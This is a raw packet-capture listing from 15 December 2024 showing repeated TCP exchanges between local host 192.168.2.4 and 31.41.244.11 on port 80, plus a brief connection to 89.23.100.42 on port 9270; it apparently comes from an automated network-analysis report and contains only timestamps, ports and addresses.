Dec 15, 2024 11:59:31.245779037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.245814085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.246879101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.246916056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.246938944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.246974945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.248022079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.248059988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.248182058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.248218060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.249169111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.249218941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.249408007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.249445915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.250376940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.250416040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.250459909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.250495911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.251544952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.251585960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.251630068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.251671076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.252722979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.252762079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.252810001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.252847910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.253890991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.253942013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.254004955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.254044056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.254996061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.255045891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.255116940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.255152941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.256210089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.256248951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.256304026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.256340981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.257416964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.257452965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.257519960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.257560015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.258538008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.258577108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.258629084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.258666039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.259788990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.259826899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.259910107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.259948015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.261029005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.261070967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.261143923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.261190891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.262049913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.262089014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.262157917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.262211084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.263379097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.263418913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.263561964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.263601065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.264552116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.264569998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.264592886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.264612913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.265866995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.265912056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.265954018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.265991926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.267060041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.267101049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.267185926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.267222881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.268151045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.268189907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.268311024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.268351078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.269093990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.269134998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.269162893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.269202948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.270250082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.270292044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.270349026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.270400047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.271476984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.271516085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.271580935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.271627903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.272615910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.272655010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.272716999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.272753954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.273874998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.273912907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.273967981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.274003983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.405870914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.405916929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.405934095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.405953884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.406357050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.406395912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.406419039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.406456947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.407583952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.407623053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.407634974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.407669067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.408683062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.408714056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.408721924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.408752918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.409843922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.409883976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.409915924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.409955025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.411055088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.411097050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.411218882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.411258936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.412195921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.412230968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.412342072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.412379980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.413358927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.413397074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.413526058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.413564920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.414587021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.414628983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.414685965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.414727926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.415713072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.415754080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.415921926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.415962934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.416907072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.416953087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.416987896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.417028904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.418061018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.418103933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.418126106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.418165922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.419329882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.419339895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.419368982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.419383049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.420387983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.420425892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.420521975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.420561075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.421574116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.421616077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.421716928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.421752930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.422746897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.422785997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.422843933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.422877073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.423914909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.423954964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.423985958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.424024105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.425117970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.425158024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.425199986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.425240993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.426280975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.426322937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.426397085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.426436901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.427443027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.427493095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.427551985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.427592039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.428627968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.428787947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.428814888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.428833008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.429789066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.429831028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.429927111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.429965973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.431000948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.431039095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.431061983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.431097984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.432179928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.432214022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.432274103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.432308912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.433377981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.433419943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.433480024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.433517933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.434497118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.434561014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.434690952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.434729099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.435651064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.435784101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.435813904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.435813904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.436036110 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.436928988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.436944962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.436971903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.436988115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.438010931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.438050985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.438117027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.438153982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.439209938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.439249039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.439286947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.439323902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.440382957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.440438032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.440479994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.440516949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.441551924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.441591024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.441653013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.441688061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.442878008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.442919016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.442967892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.443005085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.443903923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.443942070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.443991899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.444031000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.445031881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.445067883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.445089102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.445123911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.446218014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.446233988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.446254969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.446266890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.447417974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.447455883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.447479010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.447516918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.448612928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.448662996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.448679924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.448717117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.449898958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.449934959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.450032949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.450067043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.450903893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.450942993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.451014042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.451054096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.452095985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.452137947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.452239990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.452277899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.453269958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.453309059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.453356028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.453392982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.454503059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.454545021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.454658031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.454695940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.455646038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.455688953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.455708027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.455744982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.456819057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.456860065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.456881046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.456918001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.457938910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.457981110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.457998991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.458043098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.459153891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.459198952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.459224939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.459264040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.460366964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.460407972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.460529089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.460568905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.461684942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.461724997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.461791992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.461827993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.462779999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.462826014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.462842941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.462896109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.463808060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.463851929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.463958979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.463999033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.464998007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.465042114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.465152025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.465189934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.466181993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.466233015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.466288090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.466325045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.467310905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.467365980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.555860043 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:31.598365068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.598383904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.598498106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.598756075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.598802090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.598864079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.598906040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.599953890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.599991083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.600105047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.600142002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.601103067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.601140976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.601213932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.601249933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.602277040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.602313042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.602385044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.602421999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.603508949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.603547096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.603564978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.603596926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.604625940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.604661942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.604718924 CET	80	49805	31.41.244.11	192.168.2.4
